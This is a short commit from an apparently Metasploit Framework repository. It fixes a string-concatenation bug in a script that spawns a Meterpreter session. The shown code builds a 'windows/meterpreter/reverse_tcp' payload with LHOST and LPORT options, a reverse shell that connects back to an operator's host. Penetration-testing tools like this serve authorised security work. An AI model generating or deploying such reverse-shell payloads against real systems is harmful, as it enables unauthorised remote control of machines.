convert lport to a string so we don't get failures when adding String + FixNum

git-svn-id: file:///home/svn/framework3/trunk@9801 4d416f70-5f16-0410-b530-b9f4589650da

scripts/shell/spawn_meterpreter.rb

@@ -43,7 +43,7 @@ use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true
 # Create the payload instance
 payload_name = 'windows/meterpreter/reverse_tcp'
 payload = framework.payloads.create(payload_name)
-options = 'LHOST='+lhost + ' LPORT='+lport
+options = "LHOST=#{lhost} LPORT=#{lport}"
 buf = payload.generate_simple('OptionStr' => options)
 
 #